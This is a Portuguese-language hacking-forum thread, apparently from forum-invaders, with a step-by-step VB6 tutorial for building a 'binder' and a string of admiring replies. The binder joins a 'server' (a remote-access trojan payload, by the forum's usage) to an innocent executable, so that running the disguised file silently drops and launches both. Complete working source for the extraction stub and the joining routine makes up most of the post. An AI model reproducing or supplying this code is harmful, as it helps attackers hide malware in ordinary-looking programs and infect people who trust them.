[Tutorial] Criando um binder básico

[THiaG04EveR]

Olí pessoal, nesse tutorial eu vou mostrar como criar um Binder simples em VB6.

1º Abra o Visual Basic, inicie um novo projeto Standard EXE
2º No form mude a fonte para verdana
3º Agora adicione em seu form: 1 Frame, 2 label's, 2 TextBoxe's, 4 botões e um CommonDialog (aperte Ctrl+T para adicionar o CommonDiaglo!)
4º Mude o Height dos botões command1 e command2 para "300" e os botões command3 e command4 para "355"
Veja a imagem:

Ctrl + T



O form deverí ficar assim:



Agora vamos nomear os objetos do form...

Label1 = Arquivo (server):
Label2 = Arquivo executível:
Command1 = Add
Command2 = Add
Command3 = Juntar!
Command4 = Sair
No text1 e text2 apague o que esta escrito ! E no caption do form bote o nome do seu Binder. Aqui eu botei Tutorial Binder bísico (forum-invaders.com.br) ;D

Veja como deve ficar:



Agora vamos para a parte dos códigos

1º De um duplo clique no form (em qualquer lugar), Mude o evento para Initialize



Entre Private Sub Form_Initialize() e End Sub Digite o sequinte código:

Dim data0 As String
Dim data1 As String
Dim data2 As String
Open App.EXEName & ".exe" For Binary Shared As 1
data0 = Input(LOF(1), #1)
Close 1
If InStr(1, data0, "***1") = 0 Then Exit Sub
Open "ArquivoPrimario.exe" For Binary As 2
Open "ArquivoSecundario.exe" For Binary As 3
data1 = Mid(data0, InStr(1, data0, "***1") + 4)
data2 = Mid(data1, InStr(1, data1, "***2") + 4)
Put #3, , data2
data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)
Put #2, , data1
Close 2
Close 3
Shell "ArquivoPrimario.exe", vbNormalFocus
Shell "ArquivoSecundario.exe", vbNormalFocus
End

Onde esta escrito ArquivoPrimario sera o seu server, e onde esta escrito ArquivoSecundario sera o arquivo executível,
logo abaixo digite:

Private Sub juntar()
Dim data As String
Dim data2 As String
Open arq1.Text For Binary Shared As 1
Open arq2.Text For Binary Shared As 2
data = Input(LOF(1), #1)
data2 = Input(LOF(2), #2)
Close 1
Close 2
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\ARQUIVO.EXE"
Open App.Path & "\ARQUIVO.EXE" For Binary As 1
Seek #1, LOF(1)
Put #1, , "***1"
Put #1, , data
Put #1, , "***2"
Put #1, , data2
Close 1
MsgBox "Arquivos agrupados em: ARQUIVO.EXE", vbInformation, "concluàdo"
End Sub

Onde esta escrito ARQUIVO.EXE é nome do arquivo que sera criado quando vc juntar o server com um outro executavel



Onde esta escrito Arquivos agrupados em: ARQUIVO.EXE é a mensagem que vai dar quando os 2 arquivos forem juntados e onde esta escrito concluàdo sera o tàtulo da mensagem

veja:



Agora de 2 cliques no command1 e digite o seguinte código;

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executíveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text1.Text = CommonDialog1.FileName

No código acima eu ja configuro o CommonDialog para abrir arquivo executíveis e adicionar o acaminho no textbox. Clique 2 vezes agora no Command2 e digite o código:

With CommonDialog1
.FileName = Empty
.DialogTitle = "Abrir"
.Filter = "Arquivos executíveis (.exe)|*.exe"
.ShowOpen
End With
If CommonDialog1.FileName <> Empty Then Text2.Text = CommonDialog1.FileName

Aqui vale a mesma explicação que eu fiz acima.

Agora clique 2 vezes no command3. O Command3 sera o botão responsível pela função de juntar os 2 arquivos! Digite o seguinte código:

If Text1.Text = Empty Then
MsgBox "Selecione o arquivo (server)!", vbExclamation, "ERRO!"
Exit Sub
End If
If Text2.Text = Empty Then
MsgBox "Selecione um arquivo executível", vbExclamation, "ERRO!"
Exit Sub
End If
Call juntar 'Arqui executa a função de juntar os 2 arquivo!

Fim.

Bem, qualquer dúvida é só fala OKs?! Então Até + ;D

[Cron Asatruar]

Jí falei e falo de novo sou seu fã cara muito bom mesmo

t+ abraço

[THiaG04EveR]

Jí falei e falo de novo sou seu fã cara muito bom mesmo

t+ abraço

ops:

[fvox]

Muito bom cara, achei que vc codava delphi.

Obrigado

[neguinhomf]

Olí.

Cara, ta de parabêns mais uma vez, sempre se superando. Ótimos Tutoriais.

Abraço.
:arrow:

[THiaG04EveR]

Muito bom cara, achei que vc codava delphi.

Obrigado

Nem gosto muito de delphi....mas tenho vontade de aprender, mas me falta tempo :wink:

T+

[䣣|-|ä¢k뮧]

ótimo cara!

Fixado aà...rsrsrrs


Valeu!!!

[xC0mm4nd]

Cara não sei se foi pra atender meu pedido,
Mais esta de parabéns ai...
Continue assim...

Fixo neh galera! Por favor, vamos valorizar os Coders Brasileiros!

Abração... :wink:

[THiaG04EveR]

Cara não sei se foi pra atender meu pedido,
Mais esta de parabéns ai...
Continue assim...

Fixo neh galera! Por favor, vamos valorizar os Coders Brasileiros!

Abração... :wink:

É foi sim! só que eu esqueci de te avisar :wink:


T+

[FoXxD]

Muito Bom! Impressionante...